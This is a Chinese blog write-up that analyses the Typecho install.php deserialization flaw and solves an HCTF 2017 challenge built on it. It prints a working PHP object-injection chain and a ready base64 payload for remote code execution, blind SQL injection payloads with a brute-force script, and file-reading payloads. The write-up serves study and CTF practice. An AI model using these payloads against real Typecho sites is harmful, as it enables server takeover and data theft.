前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >typecho漏洞分析与HCTF实战

typecho漏洞分析与HCTF实战

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 15:39:30
1.3K0
发布2018-02-06 15:39:30
举报

typecho漏洞分析与HCTF实战

0x00前记

通过最近的比赛,决定沉淀下来,从复现cms开始慢慢锻炼自己的审计能力,毕竟这个年头的CTF,不会审计只能活在边缘了,今天为大家带了typecho漏洞的审计分析和一道HCTF里根据这个漏洞点出的实战例题

0x01 typecho漏洞审计

问题存在于在根目录install.php文件的229-235行

可以看到$config变量的值是由__typecho_config解base64并反序列化得到

于是我们跟进get()函数,去看看如何获取这个变量的值

可以看到,__typecho_config变量的值,从cookie中获取,如果没有,则看POST里是否存在

所以这个变量我们有2种输入方式:

  • cookie中传入
  • POST方式传入

而后思考,既然有反序列化unserialize

那么如何利用呢?

这里有3个点:

  • __destruct()
  • __wakeup()
  • __toString()

其中

  • __destruct()是在对象被销毁的时候自动调用
  • __wakeup()在反序列化的时候自动调用
  • __toString()是在调用对象的时候自动调用。

那么我们这里有没有对象的调用呢?

继续审计

我们可以看到,这里直接对$config['adapter']进行了调用

而我们假设这样

$config为一个数组,classA为我们可以利用的一个类

我们构造如下代码

代码语言:js
复制
$sky = new classA();
$config = array(
    'adapter' => $sky,
);

这样显然就完成了对对象的调用

所以我们下面需要去全局搜索__toString()函数,找到可利用的类

在Feed.php中的223行,我们发现了这样的函数,进行审计

在第284-290行我们发现这样一段代码

代码语言:js
复制
foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

其中调用了$item['author']->screenName

private $_items = array();

容易看见,$_items是类中的私有变量

这里又有一个点需要关注了:

即一个特殊的魔法函数__get()

__get()会在读取不可访问的属性的值的时候调用

所以这里对$item['author']->screenName的调用显然是使用了这个魔法函数

于是我们跟进这个__get()魔法函数,进行全局搜索

在Request.php中我们发现了这样的函数

代码语言:js
复制
public function __get($key)
    {
        return $this->get($key);
    }

我们继续跟进get()函数

代码语言:js
复制
public function get($key, $default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }
        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }

我们注意到最后一行,返回的数据还要经过$this->_applyFilter()

我们继续跟进

代码语言:js
复制
private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter, $value) :
                call_user_func($filter, $value);
            }
            $this->_filter = array();
        }
        return $value;
    }

可以看到非常瞩目的函数

call_user_func()

举个例子

代码语言:js
复制
<?php
$filter= 'assert';
$value = 'phpinfo()';
call_user_func($filter, $value);
 ?>

即可执行phpinfo()指令

而这里,如果我们能控制$filter和$value两个参数,就等同于任意命令执行

0x02 payload分析

我们根据以上分析,容易得到以下构造

代码语言:js
复制
class Typecho_Feed{
    private $_type='ATOM 1.0';
    private $_items;
    public function __construct(){
        $this->_items = array(
            '0'=>array(
                'author'=> new Typecho_Request())
        );
    }
}
class Typecho_Request{
    private $_params = array('screenName'=>'phpinfo()');
    private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));

我们来捋一遍:

  1. 在install.php的第230行,我们精心构造的poc被这里反序列化
  2. 在install.php的第232行,程序调用了$config['adapter'],而$config['adapter']是我们精心构造的,具有利用点__toString()函数的类Typecho_Feed()的对象
  3. 因为对象$config['adapter']被调用,触发了__toString()函数
  4. 而在__toString()函数里,程序调用了类Typecho_Feed()的私有变量$item['author']->screenName,而$item['author']->screenName是我们精心构造的,具有利用点__get()函数的类Typecho_Request的对象
  5. 由于私有变量被调用,触发了__get()函数
  6. __get()中的get()函数调用了危险函数call_user_func(),导致任意命令执行

这一连串的pop链构造可谓非常精妙,分析完后才感觉到自己有多菜= =

0x03 注意点

这样构造完__typecho_config的值显然是不够的

我们注意到

代码语言:js
复制
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER['HTTP_REFERER'])) {
        exit;
    }
    $parts = parse_url($_SERVER['HTTP_REFERER']);
    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }
    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
        exit;
    }
}
  1. 我们需要带上$_GET['finish']参数
  2. 我们需要带上$_SERVER['HTTP_REFERER']参数
  3. HTTP_REFERER必须是本站

0x04 实战演练

题目来自10月份的XCTF联赛中的HCTF,改变自typecho漏洞

1.1 题目描述:

题目分为两层,第一层是注入,第二次是注入拿到的路径,进去后是一个typecho页面,但是禁用了许多系统命令。

1.2题目第一层

拿到url

http://sqls.2017.hctf.io/index/index.php?id=1

先探测了下,能用的不多,该过滤的基本过滤完了,空格过滤可以用%0b绕过

这里构造了亦或

回显:

http://sqls.2017.hctf.io/index/index.php?id=1^1

Id error

http://sqls.2017.hctf.io/index/index.php?id=1^0

Alice

故此可以构造payload:

http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((user())from(1)))>0)

然后问题来了,我们没有办法用系统库,表,字段去爆库,爆表,爆字段

但是题目提示了:

<!-- What you need is in table:flag -->

所以可以确定的是flag表

然后可以猜测存在flag字段(出题人mmp说的)

然后我们容易构造出:

http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select%0bflag%0bfrom%0bflag)from(1)))>0)

但是这样发现sql语句报错了

得到的回显是:`There is nothing.`

于是我苦思冥想,本地测试了2个小时,发现问题在于flag表里不止一个字段,这样就会报错

mysql> select * from users where id=2333 union select 1,2,3,4,(ascii(mid((select flag from flag)from(1)))>0);

ERROR 1242 (21000): Subquery returns more than 1 row

但是我又不知道flag表有啥字段,所以这里我又脑洞了下:

利用like+hctf去限制

select flag from flag where flag like '%hctf%'

所以得到最终的payload:

http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from(1)))>0)'

附上脚本:

代码语言:js
复制
#!/usr/bin/env python
#coding:utf-8
import requests as req
flag = ''
for x in range(1,100):
       for y in range(33,127):
              url = 'http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from('+str(x)+')))='+str(y)+')'
              f = req.get(url=url)
              if 'Id error' in f.content:
                     flag+=chr(y)
                     print flag
                     break

得到结果:

./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

1.3题目第二层

访问

http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php

发现是一个typecho,想到之前爆出的php命令执行漏洞,于是去复现,因为之前复现过,所以还挺激动的

但是这里题目好像做出了变化,首先是好像不能写入了,然后利用的poc中,貌似括号会有影响?当时使用的时候算是比较蛋疼,后来经过一番调整后,终于成功

url = http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=a

post:

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

Referrer:

http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

不得不说hacker bar还是强大,这要用Burp看还挺难受的,然后成功回显了phpinfo(),发现是php7,然后想用系统命令查找,却发现系统命令也被禁了,只能使用php函数

这里选用了scandir()

$this->_params['screenName'] = 'var_dump(scandir(\'./\'))';

打出回显:

array(12) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(5) "admin" [4]=> string(14) "config.inc.php" [5]=> string(9) "index.php" [6]=> string(7) "install" [7]=> string(11) "install.php" [8]=> string(11) "license.txt" [9]=> string(7) "uploads" [10]=> string(3) "usr" [11]=> string(3) "var" }

一路查找,最后找到了可疑文件夹:

array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(12) "flag_is_here" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" }

可以看到偌大的flag_is_here

再查:

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) "flag" }

可以看到flag文件,然后利用file_get_contents()去读

$this->_params['screenName'] = 'var_dump(file_get_contents(\'../../../../../flag_is_here/flag\'))';

可以轻松拿到flag

string(33) "hctf{WowwoW_U_F1nd_m3_e218ca012} "

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-01-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档